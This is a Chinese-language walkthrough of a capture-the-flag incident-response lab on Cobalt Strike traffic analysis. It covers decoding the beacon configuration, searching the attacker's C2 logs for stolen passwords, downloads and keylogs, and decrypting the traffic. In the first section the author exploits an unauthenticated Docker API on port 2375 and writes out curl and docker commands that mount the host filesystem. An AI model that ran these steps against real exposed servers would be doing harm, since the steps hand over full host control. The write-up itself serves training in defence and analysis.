CobaltStrike流量分析
1.溯源反制,提交黑客CS服务器的flag.txt内容
使用nmap扫描IP开放端口,发现开放了一个 2357端口 我们看看里面有什么

可以看到对方IP开放了一个2375端口,我们看看有没有什么利用的方法
一、端口 2375 是什么?——Docker Remote API
基本定义
-
端口号:2375
-
协议类型:HTTP(明文传输)
-
服务名称:Docker Daemon Remote API
-
用途:允许远程客户端通过 HTTP 请求管理 Docker 容器,相当于把
docker命令暴露在网络上。 -
对比端口 2376
:
2375:非加密通信(HTTP),无认证 → 极其危险2376:启用 TLS 加密(HTTPS),需证书认证 → 相对安全
⚠️ 正常情况下,该接口不应对外网开放!一旦暴露在公网且无身份验证,等于把服务器的“控制权”交给了任何人。
二、如何判断目标是否真的存在漏洞?
我们可以通过直接调用 Docker Remote API 接口来探测。
- 查看基本信息(无需认证)
curl http://52.83.204.237:2375/version
Bash
正常响应示例(说明服务可访问):
{"Version": "20.10.7","Os": "linux","KernelVersion": "5.4.0-72-generic","GoVersion": "go1.13.8","Arch": "amd64"
}
JSON
- 列出所有容器
curl http://52.83.204.237:2375/containers/json
Bash
如果返回一个 JSON 数组,包含多个容器信息,则说明你可以完全控制这些容器。
- 列出所有镜像
curl http://52.83.204.237:2375/images/json
Bash
只要以上任意一条命令能成功执行,就证明存在 未授权访问漏洞!

这里出现未授权漏洞,我们进一步利用
docker -H tcp://52.83.204.237:2375 ps -a #查看远程所有容器
docker -H tcp://52.83.204.237:2375 images #查看镜像列表

docker -H tcp://52.83.204.237:2375 run -it -v /:/mnt 97662d24417b /bin/bash
在/mnt/root 下面发现了flag

flag{6750ac374fdc3038a67e95e1f21d455c}
2.黑客攻击主机上线时间是?(flag{YYYY-MM-DD HH:MM:SS})
分析靶机给我们的数据包 简单的过滤一下http流量

可以发现第一个数据包就是Cobalt Strike分阶段加载payload上线的时间点
flag{2025-02-12 20:12:52}
3.黑客使用的隧道payload名字是什么?
使用wireshark打开流量包,文件模块->导出对象->HTTP

将这个流量包下载到本地 https://github.com/minhangxiaohui/CSthing 1768.py 是一个专门用于检测和分析 Cobalt Strike 信标(Beacon)流量的 Python 工具。它得名于 Cobalt Strike 信标流量中的一个关键特征值:1768 字节。


File: FJwV
xorkey(chain): 0x1f6828ff
length: 0x040e00ad
xorkey b'.' 2e
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 80
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '192.168.31.170,/en_US/all.js'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 666666
0x0024 deprecated 0x0003 0x0020 'MYhXSMGVvcr7PtOTMdABvA=='
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0047 MAX_RETRY_STRATEGY_ATTEMPTS 0x0002 0x0004 0
0x0048 MAX_RETRY_STRATEGY_INCREASE 0x0002 0x0004 0
0x0049 MAX_RETRY_STRATEGY_DURATION 0x0002 0x0004 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)'
0x000a post-uri 0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions 0x0003 0x0100Transform Input: [7:Input,4]Print
0x000c http_get_header 0x0003 0x0200Build Metadata: [7:Metadata,3,6:Cookie]BASE64Header Cookie
0x000d http_post_header 0x0003 0x0200Const_header Content-Type: application/octet-streamBuild SessionId: [7:SessionId,5:id]Parameter idBuild Output: [7:Output,4]Print
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 0
0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc 0x0002 0x0004 0
0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub 0x0003 0x0010 '\x04à¡\x1bå\x91G¨×=+>\x9fê\x83,'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.4 (max 0x0049)
Sanity check Cobalt Strike config: OK
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x00010176 (LSFIF: b'tYE3')
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x0001030e (LSFIF: b'tYE3')
Public key config entry found: 0x0003b65d (xorKey 0x2e) (LSFIF: b'././.,...,./.,.~.-.,.*..')
Public key header found: 0x0003b663 (xorKey 0x2e) (LSFIF: b'N.*.,.*.>...+./.,...).-/.')
flag{windows-beacon_http-reverse_http}
4.黑客获取到当前用户的明文密码是什么?
我们寻找 cobaltstrike.beacon_keys文件在哪里
cobaltstrike.beacon_keys是 Cobalt Strike 客户端生成并维护的一个本地文件,用于存储与每个上线的 Beacon(远控客户端)通信所需的加密密钥信息。
find / -name .cobaltstrike.beacon_keys

/mnt/opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/.cobaltstrike.beacon_keys
在logs里记录了服务器上线以及命令执行的情况对logs路径进行关键字搜索:
grep -r "Password" ./logs |grep -v "null"


可以看到黑客获取当前用户的明文密码
flag{xj@cs123}
5.黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})
需要结合流量包对Cobalt Strike流量数据进行解密
原理参考:https://forum.butian.net/share/1861
经过学习得知,每一个GET请求的Cookie结合私钥都可以得出Raw key,默认只有响应包与POST请求包是用对称算法加密的,其它的GET请求只是心跳包(POST是命令执行结果,响应包是指令)。
(本地尝试解密的情况是解密流量中含有心跳包会报错Exception: HMAC signature invalid)
所以要得到黑客修改命令需要对响应包进行解密:
先将所有的响应包分组取出:
http.response.code == 200
按照大佬的步骤来,这里得先过滤 code为200的流量

给选中的数据包打上一个“标记”(Mark),帮助你在海量抓包中快速区分、定位、过滤它们。
相当于在数据包列表里「插旗」,方便之后回来看或导出。



从.cobaltstrike.beacon_keys(在服务器的CS目录下)取出Cobalt Strike的私钥(自己调ai写了一个反序列化脚本)

先讲这个文件进行base64加密

复制输出的一大串 Base64 文本,在本地保存为文件:
echo "上面那一大串Base64" | base64 -d > cobaltstrike.beacon_keys

这里我复现完之后没有调试出来反序列化代码,直接看大佬的答案了

详情参考 :https://www.cnblogs.com/blue-red/p/19022396
flag{73aeb8ee98d124a1f8e87f7965dc0b4a}
6.黑客下载的文件名称是什么?
这依旧是搜索log日志下面的内容 在CS服务器路径下搜索关键字download:
grep -r "download" ./logs |grep -v "unknown"

flag{xxx服务器运维信息.xlsx}
7.黑客下载的文件内容是什么?
因为这里没有连接finalshell所有还是使用老办法(懒)将文件进行base64保存到本地再解密base64

放入共享文件里面 然后在windows上修改后缀为 xlsx 双击即可看到flag


flag{752fe2f44306e782f0d6830faad59e0e}
8.黑客上传的文件内容是什么?
在CS服务器路径下搜索关键字“upload”并打开具体日志文件查看
grep -r "upload" ./logs


打开流量包查看对应流量:对应的流量包的UTC时间要+8
这我又不会了详情参考大佬吧:https://www.cnblogs.com/blue-red/p/19022396
flag{Hacker}
9.黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)
在CS服务器路径下搜索截屏命令的关键字:
grep -r "screen" ./logs |grep -v "unknown"

flag{chrome}
10.黑客读取到浏览器保存的密码是什么?
在CS服务器路径下搜索截屏命令的关键字:
grep -r "PASSWORD" ./logs |grep -v "null"

flag{0f338a1a6ad8785cee2b471d9d3e9f91}
11.黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)
查找logs中得到键盘记录日志


flag{xj.edisec.net}
最后感谢两位大佬的wp (给榨干了)
玄机蓝队靶场_应急响应_114:CobaltStrike流量分析
基于玄机靶场CobaltStrike流量分析题目的学习笔记